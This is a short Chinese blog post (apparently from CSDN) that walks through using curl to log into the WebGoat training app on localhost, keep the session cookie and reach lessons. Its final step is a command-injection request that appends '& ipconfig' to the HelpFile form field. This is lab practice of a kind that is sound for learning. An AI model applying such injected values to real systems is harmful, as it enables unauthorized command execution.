curl摸拟浏览器运行WebGoat_curl 模拟攻击-优快云博客

本文详细介绍通过curl命令登录WebGoat平台并进行命令注入攻击的步骤。文章首先讲解如何获取并保存Cookie，接着演示如何提交表单进入主页面，最后提供具体的命令注入示例。

这个WebGoat有一些个性化的操作，所以记录在此

步骤：

1、 curl -u "guest:guest" -D cookie.jar "http://localhost/WebGoat/attack" -v

登录进入WebGoat，并保存COOKIE

2、 curl -u "guest:guest" -b cookie.jar -d "start=Start+WebGoat" "http://localhost/WebGoat/attack" -v

提交start = Start WebGoat的表单，进入WebGoat的主页面。

此时，应该查看页面源代码中你想点的链接是什么，

如：

<td><img src="images/buttons/lessonComplete.jpg"><a href="attack?Screen=497&menu=1200">Command Injection</a></td>

注意： WebGoat对不同的COOKIE，返回的页面链接并不相同，如果在后面的步骤中，你访问的是浏览器里查看到的链接，很可能那个链接就不存在，返回的是主页中的介绍信息，而不是你想访问的链接的内容。

另外，由于WebGoat是使用NTLM认证协议，所以每次curl，都得带-u "guest:guest"

3、curl -u "guest:guest" -b cookie.jar "http://localhost/WebGoat/attack?Screen=503&menu=1200" -v

这样就可以访问到你想访问的链接了。

4、如果要实现命令注入，提交如下：

curl -u "guest:guest" -b cookie.jar -d "HelpFile=AccessControlMatrix.help%22%20%26%20ipconfig&SUBMIT=View" "http://localhost/WebGoat/attack?Screen=497&menu=1200" -v > a.html